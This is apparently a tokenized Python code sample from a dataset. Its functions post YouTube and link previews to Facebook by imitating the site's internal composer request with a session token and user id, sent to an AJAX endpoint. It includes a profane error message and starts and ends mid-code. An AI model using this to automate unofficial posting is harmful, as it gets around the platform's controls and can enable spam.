"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "link", "Preview", "You", "tube", "_", "(_", "link_", ",_", "video", "Link_", ",_", "title_", ",_", "summary_", ",_", "comment_", ",_", "video", "ID_", ",_", "privacy", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "c\\u", "user_", ")_", "+_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "session", "\\u", "id", "'_", ":_", "'", "3", "8c", "20", "e7", "3", "-", "acf", "c", "-", "411", "a", "-", "831", "3", "-", "4", "7c", "095", "b0", "1e", "4", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "context", "'_", ":_", "'", "profile", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "isme", "ta", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "timeline", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "composer", "id", "'_", ":_", "'", "u\\u", "0", "\\u", "2", "9", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "targeti", "d", "'_", ":_", "str_", "(_", "c\\u", "user_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cl", "p", "'_", ":_", "'{", " ", "cl", "\\u", "imp", "id", " ", ":", " ", "6", "5a", "c6", "257", " ", ",", " ", "clear", "counter", " ", ":", "0", ",", " ", "element", "id", " ", ":", " ", "u\\u", "0", "\\u", "2n", " ", ",", " ", "version", " ", ":", " ", "x", " ", ",", " ", "parent", "\\u", "fb", "id", " ", ":'_", "+_", "str_", "(_", "c\\u", "user_", ")_", "+_", "'}'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "message", "\\u", "text", "'_", ":_", "str_", "(_", "comment_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "message", "'_", ":_", "str_", "(_", "comment_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "akt", "ion", "'_", ":_", "'", "post", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "id", "'_", ":_", "'", "230", "986", "977", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "Info", "][", "canonical", "]'_", ":_", "str_", "(_", "video", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "Info", "][", "final", "]'_", ":_", "str_", "(_", "video", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "Info", "][", "user", "]'_", ":_", "str_", "(_", "link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "fav", "icon", "]'_", ":_", "'", "http", "://", "s", ".", "yti", "mg", ".", "com", "/", "yt", "s", "/", "img", "/", "fav", "icon", "\\u", "32", "-", "vf", "l", "Wo", "MF", "Gx", ".", "png", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "title", "]'_", ":_", "str_", "(_", "title_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "summar", "y", "]'_", ":_", "str_", "(_", "summary_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "images", "][", "0", "]'_", ":_", "'", "http", "://", "i2", ".", "yti", "mg", ".", "com", "/", "vi", "/'_", "+_", "video", "ID_", "+_", "'/", "mq", "default", ".", "jp", "g", "?", "feature", "=", "og", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "medium", "]'_", ":_", "'", "103", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "]'_", ":_", "str_", "(_", "video", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "video", "][", "0", "][", "type", "]'_", ":_", "'", "applica", "tion", "/", "x", "-", "shock", "wave", "-", "flash", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "video", "][", "0", "][", "src", "]'_", ":_", "'", "http", "://", "www", ".", "youtu", "be", ".", "com", "/", "v", "/", "Fx", "ye", "cj", "OQ", "Xn", "I", "?", "auto", "hide", "=", "1", "&", "version", "=", "3", "&", "autop", "lay", "=", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "video", "][", "0", "][", "widt", "h", "]'_", ":_", "'", "1280", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "video", "][", "0", "][", "height", "]'_", ":_", "'", "720", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "video", "][", "0", "][", "safe", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "type", "]'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "source", "]'_", ":_", "'", "Share", "Stage", "Exter", "nal", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "domain", "]'_", ":_", "'", "www", ".", "youtu", "be", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "base", "\\u", "domain", "]'_", ":_", "'", "youtu", "be", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "title", "\\u", "len", "]'_", ":_", "'", "9", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "summar", "y", "\\u", "len", "]'_", ":_", "'", "160", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "min", "\\u", "dimension", "s", "][", "0", "]'_", ":_", "'", "7", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "min", "\\u", "dimension", "s", "][", "1", "]'_", ":_", "'", "7", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "with", "\\u", "dimension", "s", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "pend", "ing", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "fetched", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "image", "\\u", "dimension", "s", "][", "0", "]'_", ":_", "'", "1280", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "image", "\\u", "dimension", "s", "][", "1", "]'_", ":_", "'", "720", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "selecte", "d", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "consider", "ed", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "cap", "]'_", ":_", "'", "10", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "type", "]'_", ":_", "'", "images", "\\u", "array", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "best", "\\u", "image", "\\u", "w", "]'_", ":_", "'", "398", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "best", "\\u", "image", "\\u", "h", "]'_", ":_", "'", "208", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "image", "\\u", "selecte", "d", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "images", "\\u", "provided", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "images", "\\u", "load", "ed", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "images", "\\u", "shown", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "load", "\\u", "duration", "]'_", ":_", "'", "105", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "timed", "\\u", "out", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "sort", "\\u", "order", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "select", "or", "\\u", "type", "]'_", ":_", "'", "UI", "Thumb", "Page", "r", "\\u", "6", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "year", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "month", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "day", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "hour", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "minute", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "explicit", "\\u", "place", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "place", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "place", "\\u", "name", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tagger", "\\u", "session", "\\u", "id", "'_", ":_", "'", "139", "476", "1251", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "action", "\\u", "type", "\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "str", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "og", "\\u", "location", "\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hide", "\\u", "object\\u", "attach", "ment", "'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "og", "\\u", "suggestion", "\\u", "mechanism", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "city", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disable", "\\u", "location", "\\u", "shar", "ing", "'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "predi", "cte", "d\\u", "city", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "audience", "[", "0", "][", "value", "]'_", ":_", "privacy", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "nct", "r", "[\\u", "mod", "]'_", ":_", "'", "page", "let", "\\u", "timeline", "\\u", "recent", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "str_", "(_", "c\\u", "user_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "q", "EA", "MB", "l", "CF", "US", "t2", "u", "6a", "OG", "e", "Ex", "EW", "9", "AC", "x", "O", "4", "pb", "GA", "8", "AGG", "z", "CA", "j", "FD", "x", "Cm", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "m", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "816", "580", "748", "986", "5", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "116", "124", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "update", "status", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "en", " ", "el", " ", "modulo", " ", "de", " ", "link", "Preview", "You", "tube", "()'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "en", " ", "el", " ", "modulo", " ", "de", " ", "link", "Preview", "You", "tube", "()", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "link", "Preview", "_", "(_", "link_", ",_", "real", "Link_", ",_", "title_", ",_", "summary_", ",_", "comment_", ",_", "image_", ",_", "privacy", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "c\\u", "user_", ")_", "+_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "session", "\\u", "id", "'_", ":_", "'", "787", "d2", "fec", "-", "b5", "c1", "-", "4", "1f", "e-", "bb", "da", "-", "345", "0a", "032", "40", "c6", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "context", "'_", ":_", "'", "profile", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "isme", "ta", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "timeline", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "composer", "id", "'_", ":_", "'", "u\\u", "0", "\\u", "2", "9", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "targeti", "d", "'_", ":_", "str_", "(_", "c\\u", "user_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cl", "p", "'_", ":_", "'{", "\"", "cl", "\\u", "imp", "id", "\":\"", "2", "7c", "5e", "963", "\",\"", "clear", "counter", "\":", "0", ",\"", "element", "id", "\":\"", "u\\u", "0", "\\u", "2n", "\",\"", "version", "\":\"", "x", "\",\"", "parent", "\\u", "fb", "id", "\":", "'_", "+_", "str_", "(_", "c\\u", "user_", ")_", "+_", "'}'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "message", "\\u", "text", "'_", ":_", "str_", "(_", "comment_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "message", "'_", ":_", "str_", "(_", "comment_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "akt", "ion", "'_", ":_", "'", "post", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "id", "'_", ":_", "'", "230", "986", "977", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "Info", "][", "canonical", "]'_", ":_", "str_", "(_", "real", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "Info", "][", "final", "]'_", ":_", "str_", "(_", "real", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "Info", "][", "user", "]'_", ":_", "str_", "(_", "link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "fav", "icon", "]'_", ":_", "str_", "(_", "real", "Link_", ")_", "+_", "'/", "images", "/", "fav", "icon", ".", "ico", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "title", "]'_", ":_", "str_", "(_", "title_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "summar", "y", "]'_", ":_", "str_", "(_", "summary_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "images", "][", "0", "]'_", ":_", "str_", "(_", "image_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "medium", "]'_", ":_", "'", "106", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "params", "][", "url", "]'_", ":_", "str_", "(_", "real", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "attach", "ment", "[", "type", "]'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "source", "]'_", ":_", "'", "Share", "Stage", "Exter", "nal", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "domain", "]'_", ":_", "str_", "(_", "real", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "base", "\\u", "domain", "]'_", ":_", "str_", "(_", "real", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "title", "\\u", "len", "]'_", ":_", "'", "3", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "summar", "y", "\\u", "len", "]'_", ":_", "'", "3", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "min", "\\u", "dimension", "s", "][", "0", "]'_", ":_", "'", "7", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "min", "\\u", "dimension", "s", "][", "1", "]'_", ":_", "'", "7", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "with", "\\u", "dimension", "s", "]'_", ":_", "'", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "pend", "ing", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "fetched", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "image", "\\u", "dimension", "s", "][", "0", "]'_", ":_", "'", "322", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "image", "\\u", "dimension", "s", "][", "1", "]'_", ":_", "'", "7", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "selecte", "d", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "consider", "ed", "]'_", ":_", "'", "5", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "cap", "]'_", ":_", "'", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "metric", "s", "[", "images", "\\u", "type", "]'_", ":_", "'", "ranked", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "best", "\\u", "image", "\\u", "w", "]'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "best", "\\u", "image", "\\u", "h", "]'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "image", "\\u", "selecte", "d", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "images", "\\u", "provided", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "images", "\\u", "load", "ed", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "images", "\\u", "shown", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "load", "\\u", "duration", "]'_", ":_", "'", "812", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "timed", "\\u", "out", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "sort", "\\u", "order", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "metric", "s", "[", "select", "or", "\\u", "type", "]'_", ":_", "'", "UI", "Thumb", "Page", "r", "\\u", "6", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "year", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "month", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "day", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "hour", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "backd", "ated", "\\u", "date", "[", "minute", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "explicit", "\\u", "place", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "place", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "place", "\\u", "name", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tagger", "\\u", "session", "\\u", "id", "'_", ":_", "'", "139", "476", "533", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "action", "\\u", "type", "\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "str", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "og", "\\u", "location", "\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hide", "\\u", "object\\u", "attach", "ment", "'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "og", "\\u", "suggestion", "\\u", "mechanism", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "city", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disable", "\\u", "location", "\\u", "shar", "ing", "'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "predi", "cte", "d\\u", "city", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "audience", "[", "0", "][", "value", "]'_", ":_", "privacy", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "nct", "r", "[\\u", "mod", "]'_", ":_", "'", "page", "let", "\\u", "timeline", "\\u", "recent", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "str_", "(_", "c\\u", "user_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "q", "EA", "MB", "l", "CF", "US", "t2", "u", "6a", "OG", "e", "Ex", "EW", "9", "AC", "x", "O", "4", "pb", "GA", "8", "AGG", "z", "CA", "j", "FD", "x", "Cm", "'_", ",_", 